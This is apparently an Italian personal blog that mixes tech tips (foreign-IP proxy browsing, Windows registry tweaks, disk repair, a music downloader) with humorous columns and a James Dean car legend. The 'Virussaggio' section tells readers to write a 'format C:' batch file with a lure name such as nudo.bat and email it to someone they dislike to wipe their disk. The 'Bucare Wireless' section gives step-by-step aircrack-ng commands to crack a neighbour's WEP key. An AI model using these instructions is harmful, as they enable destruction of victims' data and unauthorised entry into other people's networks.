Mettere IP straniero

Cominciamo col dire che a volte ci rompono le palle veramente, in questi giorni ci bloccano su siti che gli Italici non devono vedere per motivi del menga e allora cerchiamo di farci furbi e di presentarci  IP straniero per vedere siti bloccati all’estero.  Come fare e’ semplice, devi collegarti alla pagina principale di Fsurf e digitare l’indirizzo (URL) del sito Internet che risulta inaccessibile in Italia nel campo di testo che trovi sotto la voce Enter URL. Poi clicca sul pulsante Go e attendi qualche secondo sino a quando Fsurf si colleghera’ all’indirizzo desiderato utilizzando un IP straniero, diciamo degli Stati Uniti per essere precisi. Dal momento in cui visualizzerai la pagina del sito bloccato in Italia (che non sara’ piu’ inaccessibile), potrai navigare normalmente in facendo tutte le operazioni che desideri, danni inclusi alla faccia di chi ci vuol male.

Beh..non riesci a visualizzare alcuni elementi delle pagine web visualizzate con Fsurf? Questo accade perche’il servizio blocca automaticamente gli script dei siti. Allora ricapitoliamo, se vuoi navigare con IP straniero per vedere siti bloccati all’estero senza avere gli script disabilitati, togli il segno di spunta collocato accanto alla voce Remove Scripts nella barra di Fsurf che si trova in cima alla pagina visualizzata e clicca sul pulsante Go.
Nel giro di qualche istante, la pagina sara’ ricaricata e dovresti essere in grado di visualizzare anche quei contenuti (ad esempio i menu animati) che prima non risultavano visualizzabili.

Puoi regolare anche le altre impostazioni delle pagine Web da visitare con Fsurf cliccando sulla voce Options collocata accanto alla barra degli indirizzi nella home page del servizio. Ad es.. flagga accanto alle opzioni che desideri abilitare (Encode URL per cifrare l’indirizzo della pagina visitata, Allow Cookies per salvare i cookie, ecc.) e segui la procedura vista in precedenza per navigare con IP straniero e vedere siti bloccati all’estero avendo tutte le tue opzioni preferite abilitate. Umpfff..

Se sei un drago informatico, puoi anche regolare le impostazioni avanzate di navigazione con Fsurf (user agent, referrer, proxy da usare, ecc.) cliccando sulla voce Edit Browser collocata in basso a sinistra. Ecco come si possono abbattere le barriere, hai capito o te lo rispiego?

Velocizzate Windows 7

Sto provando Windows 7 ed e’ rapido nell’apertura delle schermate  nella visualizzazione delle anteprime nella barra delle applicazioni, ma esiste un metodo per carburarlo ancora di piu’ e funge ok, se volete provare

avviate l’editor del registro di configurazione e cuccate la chiave HKEY_CURRENT_USER\Control Panel\Desktop.
Cercate la stringa Menu-ShowDelay, apritela cliccandoci sopra due volte e modificate il valore a 100. Premete “Ok” per confermare.

Menu-ShowDelay

Fatto questo, spostatevi in corrispondenza della chiave HKEY_CURRENT_USER\Control Panel\Mouse e selezionate la stringa MouseHoverTime. Clickate due volte su di essa e modificate il valore a 50, confermando con “Ok“.
Per rendere effettive queste modifiche, non vi rimane che riavviare il sistema e vedrete che sprintata, manco NemboKid riuscirebbe farla.

Virussaggio

Per far capire quanto e’ semplice e pericoloso leggere la posta, spiego come azzerare un computer formattandogli il disco C con poche manovre..
1) Apro il blocco note
2) scrivo   formatC: /autotest /q /u

Salvo con un nome accattivante secondo la persona a cui mandero’  la posta con estensione .bat
Ad es:
eccomi.bat
ilmiocane.bat
nudo.bat
e la invio a chi voglio male…
Per spiegare il /q (senza chiedere conferma) e il /u (non permettere di essere bloccato piu’ avanti)..
Chi lo ricevera’ si trovera’ il computer azzerato di tutto..
Se invece voglio sconnettere il suo PC riavviarlo per poi spegnerlo definitivamente, vado ancora nel blocco note inserisco il codice
shutdown -comando  e lo salvo in bat..al posto della parola comando mettero’:
a) -i : Attivo l’interfaccia utente grafica
b) -l : Disconnetto l’utente
c) -r : Riavvio il PC
d) -s : Spengo il computer
e) -t xx: xx Sarebbero i secondi di attesa prima della chiusura di Windows
f) -f : Chiudo le applicazioni ancora aperte

Semplice vero?

Apicella e Carla’

Darmagi (n.d.s. = disappunto in Piemontese). Annullato il concerto di Apicella. Pare che avesse venduto un solo biglietto. Guarda che uno e’ poco…sara’ stato quello di Berlu? No, perche’ gli avrebbe lasciato alla cassa un omaggio. Forse era di Carla’. La Bruni. Sai che sta per uscire un suo nuovo cd. Vogliamo fare la ola? Avremo altre 12 o 13 canzoni sublimi. Una pero’, la piu’ sublime, e’ gia’ in rete, o almeno, era in rete fino a qualche giorno fa perche’ purtroppo l’hanno tolta. Merita. Posso dire che merita. E’ la versione in italiano di ..Douce France.., quella di Trenet. ’Sto poveretto e’ scoppiato giusto dieci anni fa, e per non lasciarlo riposare in santapace, la Bruniha pensato bene di massacrare una sua canzone. Voi la dovete ascoltare perche’ descrivere non si puo’. Tu l’ascolti e ti sale la pressione. Ti escon fuori i denti da caimano. L’impianto sonoro e’ quello classico di Carla’.. chitarrina spompa e vocina sifula. Ma piu’ sifula del normale suo. Sifulerrima. E pure il testo e’ un capolavoro, piega proprio le ossa, diciamo che lo stile e’ un po’ quello dei grandi successi di Apicella. ..Dolce Francia,caro pa/ e’ se dell’infanzia, mi hai collata di speranza e ti ho presa nel mio cuor… .. Guardate, io l’ho ascoltata e riascoltata, e vi assicuro che dice cosi’…. mi hai collata di speranza. Forse ho capito male. Magari sara’ «colata»? Mi hai colata di speranza, nel senso che mi hai colato addosso secchiate di speranza?O vorra’ dire…  non stavo insieme e mi hai incollata di speranza. Mah.E poi, scusate, va bene che Trenet cantasse ..cher pays de mon enfance.., perche’ lui era francese. Ma la Bruni? Ma quale paese dell’infanzia, il suo paese dell’infanzia e’ Castagneto Po qui in collina, altro che dolce Francia. Comunque,poi continua .. Io ti amo, e ti dedico ’sto brano, io ti amo, nella gioia e nel dolor…Un verso di stampo scespiriano. Che costernazione suprema.
Altra bella novita’. E’ uscito il calendario delle Barbie. Ma non un calendario normale. Il lesbo calendario della Barbie, della Barbie lesbica.. 12 mesi di foto di Barbie nude in pose provocanti. E a quelli della Mattel e’ gia’ partito il plafond. Loro la Barbie possono farla restare fidanzata per cinquant’ anni con un uomo che dentro i pantaloni non ha assolutamente niente, ma se qualcuno, preso a pieta’, la mette in condizione di consolarsi con una consorella scagliano fulmini. Intanto tocca capire se esiste qualcuno, al mondo, che puo’ eccitarsi vedendo due Barbie accatastate una sull’altra. Gia’ una da sola, fa pensare a due bastoncini per il sushi con la parrucca… poi per carita’. Gli uomini sono perversi forte… Si eccitano guardando certe tette che sembrano espiantate da una muccafrisona, certo puo’ anche partire l’ormone con 2 Barbie che se le sfreghi una contro l’altra servono per accendere il fuoco… Certo perche’ non e’ che facciano grandi cose ’ste due. Con le mutande di plastica, le tette senza capezzoli e il culo senza chiappe le possibilita’ di fare sesso sono infime. E poi le pose son piuttosto assurde. D’altronde lo sanno tutti che le Barbie nascon gia’ con l’artrite e per loro gia’ piegare il ginocchio e’ un’impresa. Neanche un bacio si danno, e d’altra parte la lingua non ce l’hanno, il che fra l’altro per due che volessero darsi ad attivita’ lesbo e’ un deterrente non da poco. Ora aspettiamo con trepidazione il calendario dei Ken e Big Jim omosessuali. Tanto il walter non ce l’hanno, e pure loro potranno fare poco.

OPERA DEGRADATA – NESSUN DIRITTO
Come da Consulente Legale Informatico dell’Avv. Valentina Freudiani
LUCIANA LITTIZZETTO
Questo blog non rappresenta una testata giornalistica in quanto viene aggiornato a discrezione di togo29 e comunque non sistematicamente.
Non può quindi essere considerato un prodotto editoriale, ai sensi della legge 62 del 7/3/2001. Alcune immagini sono frutto di una ricerca attraverso la rete e/o prelevate da siti all’apparenza di pubblico dominio,ma se il loro uso violasse diritti d’autore, lo si comunichi all’autore del blog che provvedera’ alla loro pronta rimozione
.

Il desk e’ nero?

L’accensione del PC, Windows XP e’ avvenuta  regolarmente ma dopo pochi istanti, il monitor diventa di un bel nero che piu’ nero nn si puo’ e se anche ripetete e’ sempre nero?

Bueno.. significa che alcune porzioni del disco rigido sono andate dal culo e si sia  danneggiato il sistema operativo o qualche file.
Nessun problema voi ora riavviate il computer attraverso il supporto di installazione di Windows, caricate quindi la “Console di ripristino” premendo il tasto R quando richiesto e poi, dal prompt dei comandi, digitate la stringa chkdsk /o /r seguita da “Invio“.
Console di ripristino

Ora restate in attesa speranzosi in quanto la procedura di riparazione potrebbe richiedere molti minuti e incrociate le dita..anche stavolta e’ andata.

Women’s Day

due-di-agosto.jpg
Ehi martedi’ e’ l’otto marzo. Auguri Megere. Avete un giorno all’anno per festeggiarvi. Che dite? Cosaaaa? Che sara’ un po’ pochino? Volete chiedere anche il noveee. E magari pure il dieci… Una bella festa del 10 marzo e lode. Che giornata…non saprete piu’ dove ficcare le mimose. Ve le regaleranno tutti.. panettiere, lattaio, giornalaio, verduriere. Tutti tranne esso ovviamente, il vostro minus habens, che non ha avuto il tempo della ricerca. Lui non ha mai tempo vero? Ma non importa dai. L’amore non si conta mica in palline di mimosa. Ci vuole ben altro. Scommetto che state pensando “APPENDIMI QUELLA MENSOLA, SON SEI MESI CHE TE LO CHIEDO, PISTOLA DA SBARCO” Convincetevi maschi. Ad esse non interessa piu’ l’uomo bello, intelligente o ricco. Vogliono quello che sappia usare il trapano. Ma non il trapano in senso metaforico e metadentrico. Proprio quello con le punte di ferro comprate da Rogger. Un uomo primitivo che costruisca la capanna per la sua femmina che altro non fa che aspettarlo in una cavernetta con la clava in mano. Invece devono fare i conti con dei maestri bricoleur del borgo che fanno piu’ danni della grandine del mese di luglio di Casalbordino. Con i vostri hombre la certezza ce l’avete no?. Tutto quel che toccano scassano e quando smontano qualcosa avanzano pezzi da fare una mountanbike. Se pretendete dai vostri loro di piantare un chiodo state pur certe che non fanno un buco. Scavano proprio la galleria del Frejus quella immortalata in p.zza Statuto, l’ingresso dell’inferno. E in molto meno tempo, per altro. Cambiano la lampadina e spaccano il lampadario, prendendo anche una sberla di corrente. Spostano la cassapanca e si fanno scendere l’ernia. Schiacciano una mosca e macchiano il muro, provano a ripulirlo? Lo rimacchiano. Ma di piu’. E allora, siccome sono geni, per coprire il casino combinato, ci appendono sopra un bel quadro. Peccato solo  che una natura morta a 15 cm da terra dia un poco nell’occhio. La lavatrice perde l’acqua? E che problema ci sta’? ghe pensi mi’ dice l’ometto maschio. In primis  si cucca una scossa da 220 che gli ravviva la permanente e gli scuote il padiglione auricolare, poi va di cacciaviti e svitol e te la smontano tutta. E alla fine non sa piu’ rimontarla. Ghe minga de prublem (non ci sono problemi). E’ tutta colpa di quella vite che manca. Si smonta la radiosveglia, che pero’ funziona, per recuperare quella vite indispensabile. Cosi’ e’ tutto demolito..Lavatrice e radiosveglia. Un danno via l’altro come fa la valanga con le baite in montagna. Ma i maschi non fanno un pieghino. Si credono maghi della sega (nel senso attrezzo) e pontefici del bullone. L’unica in questi casi e’ distrarli. Magari col Lego. O coi cestini di pongo del dido’. Auguri donne per l’otto di marzo e ci siamo sputannati da soli senza che ce lo diciate voi, ma siete sicure di diventare come i maschietti ed ottenere l’uguaglianza per poter pisciare sui muri? E vaiiii con ste mimose e mi sorge una domanda..ma lo sapete quando e’ la festa degli uomini? Ve lo dico me..e’ il due di agosto e sapete che in molte zone dell’arco alpino si festeggia la festa dei genitali e quindi anche chi li porta appresso. Si dice che risale all’epoca di napoleone questa usanza, quando i soldati indossavano pantaloni attillatissimi i classici fuseaux e dovevano per motivi di ordine visivo, metterli a sinistra alias les deux a gauche che col tempo e’ diventato les deux a aout ovvero il due di agosto…che mente sono…. vero? Diabolico perfino..Pero’ questa assonanza non mi convince e nella zona di Torino si usa dire il motto “le due palle di augusto” per dare dell’incredibile a un fatto che ascoltiamo, poiche’ l’Augusto citato altro non e’ che Caio Giulio Cesare Ottaviano Augusto, che sarebbe il primo imperatore romano vissuto attorno all’anno zero e quindi potrebbe essere collegata questa festa all’Impero Romano, e ad ogni modo, che sia l’Impero romano, che sia l’epoca di Napoleone.. noi maschietti o preudo tali.. vogliamo al due d’agosto un bel festeggiamento ma senza mimosa ovviamente e al solo pensiero mi do una bella grattata scaramantica per par condicio. Auguri donne eccovi la mimosa…

Moon Cup


Notizia toda gioia toda bellezza. Novita’ nel campo degli attrezzi femminili. Diciamo subito che e’ una cosa per donne… Si chiama Moon cup. Traduco.. Moon luna, cup tazza. La coppetta della luna. A meno che Mon non sia come dicono Jolanda in veneto. E dove si mette la Moon cup? Ti ricordi il caffe’? E’ buono qui e buono qui. Ecco questa e’ solo buona qui. Sulla squisitissima eminenza la jole. Dunque. Per le portatrici sane di jolanda hanno inventato un aggeggio per salvaguardare l’ambiente. Uno strumento ecologico che rispetta la natura. Che si puo’ oltretutto riutilizzare di volta in volta. E’ praticamente un bicchierino di silicone, che tu pieghi come un origami e metti dentro, sistemi nell’apposita cassettiera. E quando si usa? Le donne lo possono usare una volta al mese. Per cinque giorni. E chi ha orecchie per intendere intenda. E’ chiaro? Serve per fare paracadutismo e la ruota anche nei giorni in cui cambiamo l’uovo. Sono stata abbastanza soft nella descrizione? Insomma. Da usare come alternativa agli assorbenti con le ali, l’elica e le lame rotanti. Pare che un sacco di donne la stiano sperimentando e si trovino benissimo. Basta solo prendere un po’ dimestichezza con l’attrezzo e poi e’ tutto in discesa. Dicono anche che sia molto comoda. Allora.
Adesso per carita’. Va bene tutto. Dimmi che e’ ecologica, che e’ igienica, dimmi che rispetta l’ambiente… ma comoda? Comoda? Comode sono le calze a pantofola, comodo il parcheggio in piazza Castello, comoda la centrifuga per l’insalata, i bastoncini di pesce, che li butti in padella e via. Ma la coppetta della luna? Come si fa a dire che ’sto copri-spinterogeno è comodo? Sara’ utile, ma comodo non penso. Mi sembra un po’ come quelle che si inerpicano su tacchi da 12 beccheggiando come catamarani e poi dicono che sono comodissimi. No, dico, per me puoi anche infilarti un flute di quelli da champagne, anche un boccale della birra, un calice di quelli a pancia per il cognac, ma che sia comoda e’ un altro par di maniche. E’ vero che li’ dentro ci facciamo star di tutto, dai walter ai bambini, pero’ una micro teglia per la torta… Poi devi camminare come a capodanno quando porti il pentolone con le lenticchie dai parenti? Che stai tutto rigido per non farlo rovesciare, poi lo metti in macchina per terra, parti, e alla prima frenata e’ uno tzunami di lenticchie che arriva fino al vetro davanti?
Scusa magari sei sul pullman… quello frena e opp… dai il giro… o l’amica che ti arriva da dietro, pacca sulla spalla… Pam… E tu strabordi come il latte sul fuoco… Poi devi avere anche dimestichezza… non e’ come mettersi un dito nel naso, che la traiettoria e’ quella non ti puoi sbagliare… li vai un po’ a caso, random… devi fare un po’ come la sogliola quando si sistema sotto la sabbia… che si assesta pian pianino… come quando cerchi il campo col telefonino, che ti sposti di un pelo a sinistra e destra… e sai chi l’ha inventato? Un uomo. Di sicuro. Ispirandosi al meccanico quando svuota la coppa dell’olio.
OPERA DEGRADATA – NESSUN DIRITTO

Come da Consulente Legale Informatico dell’Avv. Valentina Freudiani

LUCIANA LITTIZZETTO
Questo blog non rappresenta una testata giornalistica in quanto viene aggiornato a discrezione di togo29 e comunque non sistematicamente.
Non può quindi essere considerato un prodotto editoriale, ai sensi della legge 62 del 7/3/2001. Alcune immagini sono frutto di una ricerca attraverso la rete e/o prelevate da siti all’apparenza di pubblico dominio,ma se il loro uso violasse diritti d’autore, lo si comunichi all’autore del blog che provvedera’ alla loro pronta rimozione
.

L’auto maledetta..





A volte si dice che certe cose portano sfiga a chi le possiede e stavolta parliamo dell’auto di James Dean..Lui la battezzo’ “Little Bastard”, piccola bastarda e forse non aveva tutti i torti. Sulla Porsche Spider 550 l’attore ci lascio’ le penne il 30 settembre del 1955 e, dopo la sua morte, l’auto non ha portato altro che sfiga a chiunque si avvicinasse. Cominciamo con l’elenco che e’ degno di un copione da romanzo mozzafiato stile Stephen King come in “Christine”. Dopo la morte di James la macchina fu acquistata da George Barris, famoso in tutto il mondo per le sue incredibili creazioni di effetti cinematografici. Alloora..mentre veniva rimorchiata da un camion si sgancio’ dai sostegni e spezzo’ una gamba ad un meccanico.. e non e’ che l’inizio perche’in seguito il motore della Piccola bastarda fu venduto ad un medico, pilota dilettante, che lo installo’ sulla sua auto da corsa. Durante una competizione il medico perso il controllo dell’autovettura, investi’ ed uccise uno degli addetti al controllo della gara. Il medico rimase gravemente ferito. Continuiamo con un altro pilota che aveva montato sulla sua auto un semiasse proveniente sempre dalla Little Bastard ed ebbe un gravissimo incidente stradale. Poi un altro corridore utilizzo’ i suoi copertoni e rischio’ di morire causa esplosione di uno degli stessi.
Insomma tra verita’ e leggenda, sempre legate alle parti del motore della Porsche, si sono verificate altri strani incidenti. I veri episodi possono essere verificati solo tramite i giornali dell’epoca ed e’ trascorso oltre mezzo secolo ma la scia delle disgrazie non finisce qui ovviamente. Mentre i pezzi del motore distribuiti tra diversi piloti continuavano a provocare morti e disgrazie, il corpo principale dell’auto “maledetta” la scocca, era nel deposito di Barris. Qualcuno racconta che un ragazzino che si intrufolo’ all’interno dell’auto per rubare un pezzo come ricordo e si taglio’ un braccio sul telaio in un modo talmente grave che i medici furono costretti ad amputargli l’arto.
Ed ancora. La carrozzeria ed il telaio del Porsche, nonostante che fossero solo rottami, furono utilizzati in una mostra viaggiante per una campagna sociale contro la velocita’, per la sicurezza sulla strada a Los Angeles e in tutti gli Stati Uniti. Pagando 50 centesimi i visitatori potevano sedere al posto di guida e leggere una targa sulla quale era scritto “Questo incidente poteva essere evitato”. Una iniziativa meritoria , ma che presto si trasformò in un cerchio vizioso di “strani” incidenti. A Sacramento il telaio dell’auto senza alcun preavviso si stacco’ fracassando l’anca di un visitatore.
Alla tappa successiva della mostra il camion che trasportava i rottami contorti della Piccola bastarda fu tamponato violentemente. Nell’urto i portelloni si aprirono e l’auto slitto’ all’esterno travolgendo ed uccidendo un uomo a bordo di un’ altra auto che viaggiava dietro l’autoarticolato. Giunto nell’Oregon il freno a mano del camion si ruppe all’improvviso e il mezzo frantumo’ una enorme vetrina di un vicino negozio. Ultimo episodio: a New Orleans, senza alcuna causa apparente la Porsche si distrusse in 11 pezzi per l’incredibile cedimento dei sostegni della pedana sulla quale era poggiata. Agli organizzatori della mostra itinerante comincio a bruciarre il culo e quindi decisero di togliersi dalle palle i rottami e li rispedirono a Los Angeles. La Bastarda fu caricata su di un treno, ma non e’ mai arrivata a destinazione. Svanita nel nulla. Puff…Per ritrovarla furono ingaggiati investigatori privati e fu promessa una taglia di un milione di dollari. Nada ..zero di negativo. “Little Bastard” non c’e’ piu’, come il suo biondo ed inquietante padrone, il mito, il ribelle, il sogno americano della gioventu’ bruciata, lui, James Dean.

Bucare Wireless

WiFi.jpg

Entrare nelle reti wifi di altri e’ illegale e fatta la premessa dobbiamo risolvere il fatto che in facolta’ i server fanno cagare veramente e il vicino di appartamento bastardo per che cavolo ha ficcato la pass.. quindi a livello studio vediamo di bucarla..o quantomeno tentiamo..
Armiamoci e partite prendete..

1) Un pc portatile con una scheda wireless compatibile con backtrack
2) Un dvd con backtrack che potete scaricare da qui
3) Pazienza e una chiave di rete wep

Inseriamo il dvd di backtrack e facciamolo partire prima di windows una volta terminato il caricamento scriviamo sul terminale: startx
In questo modo si avviera’ la modalità grafica, eccoci finalmente in backtrack.
Iniziamo subito, apriamo il terminale o meglio la console.
Digitiamo subito iwconfig e vediamo come si chiama la nostra scheda wireless (dovrebbe essere wlan0)
Assicuriamoci che il wireless sia spento e cambiamo il nostro indirizzo MAC (ma visto che stiamo testando la nostra rete casalinga non credo sia necessario -.-), scriviamo:
airmon-ng stop wlan0
scriviamo
ifconfig wlan0 down

scriviamo
macchanger -m 00:11:22:33:44:55 wlan0

Abbiamo cambiato il nostro indirizzo mac in 00:11:22:33:44:55 potete anche cambiarlo, l’importante e’ ricordarlo! Anche wlan0 puo’ cambiare dipende dalla scheda wireless.
Adesso accendiamo la scheda wireless scrivendo:
airmon-ng start wlan0

E iniziamo finalmente a scannerizzare la zona per cercare LA RETE DI CASA NOSTRA e digitiamo:
airodump-ng wlan0

Ora compare la schermata con tutte le reti wifi che il nostro pc riesce a rilevare, scegliamo quella che dobbiamo bucare IN QUESTO CASO QUELLA NOSTRA PERCHE’ DOBBIAMO TESTARLA.
Quindi una volta che compare la rete che ci interessa premiamo control+c e il processo dovrebbe stopparsi.
Ora prendiamo carta e penna e segniamo  il canale (CH) il BSSID e anche l’ESSID della nostra rete.
Digitiamo adesso questo comando; (le parentesi dovranno essere sostituite con i vostri dati):
airodump-ng -c (CH) -w sme –bssid (BSSID) wlan0
In questo modo “spiamo” solo la nostra rete, quindi sostituite CH e BSSID con i vostri dati e dove c’e’ scritto sme potete lasciarlo cosi’ o mettere un nome qualunque, l’importante e’ che lo ricordiate.
Adesso apriamo un altra console/terminale e scriviamo:
aireplay-ng -1 0 -a (BSSID) -h 00:11:22:33:44:55 -e (ESSID) wlan0
se siete fortunati dovrebbe uscire scritto “autenticazione riuscita”; comunque date anche questo comando:
aireplay-ng -3 -b (BSSID) -h 00:11:22:33:44:55 wlan0
se tutto va per il verso giusto diamo il comando:
aircrack-ng -n 64 -b (BSSID) sme-01.cap
e dovrebbe comparire la chiave di rete; togliete i due punti che dividono a due a due la password e..  il buco e’ fatto.
Stretta la foglia, larga la via, bucate la vostra che io buco la mia.

Scarica velocemente musica.

Grooveshark Downloader e’ il programma di cui tu hai bisogno per scaricare velocemente musica e a costo zero (non richiede ne’ registrazioni ne’ installazioni), ecco come fare.. .

Collegati al sito Internet di Grooveshark Downloader e clicka sul pulsante Download collocato sotto la voce Zip (in fondo alla pagina). Nella pagina che si apre, chiudi il popup pubblicitario che si apre, digita il codice di conferma nell’apposito campo e, al termine del countdown, clicca sul pulsante Free download per scaricare il programma sul tuo PC.

A download ultimato apri, facendo doppio click , l’archivio appena scaricato (SciLorsGrooveshark.comDownloaderV0.4.9c.zip), estraine il contenuto in una cartella qualsiasi e avvia il programma SciLors GrooveDownloader.exe per accedere alla finestra principale del programma.

Per tradurre l’interfaccia utente di Grooveshark Downloader in italiano, non devi far altro che selezionare la bandierina italiana dal menu Language. Per iniziare a usare questo programma per scaricare musica gratis velocemente in Italiano, ti basta digitare il nome dell’artista o dei brani da ricercare nella barra di ricerca che si trova in alto e cliccare sul pulsante Cerca.
Metti quindi il segno di spunta accanto ai nomi dei file presenti nei risultati della ricerca che intendi scaricare sul tuo PC e clicca prima su Aggiungi alla coda Download e poi su Scarica per avviarne il download sul tuo picci’ e alla prox…

Grooveshark Downloader salva i brani musicali scaricati nella cartella Downloads contenuta nella directory del programma. Se vuoi cambiare la cartella in cui il programma conserva i file scaricati, recati nella scheda Impostazioni (in basso) e clicca sul pulsante Seleziona cartella.
Puoi anche regolare il modo in cui Grooveshark Downloader deve rinominare i brani scaricati, utilizzando il menu a tendina Modello di rinominazione brani, e impostare una serie di ricerche automatizzate, recandoti nella scheda Opzioni avanzate.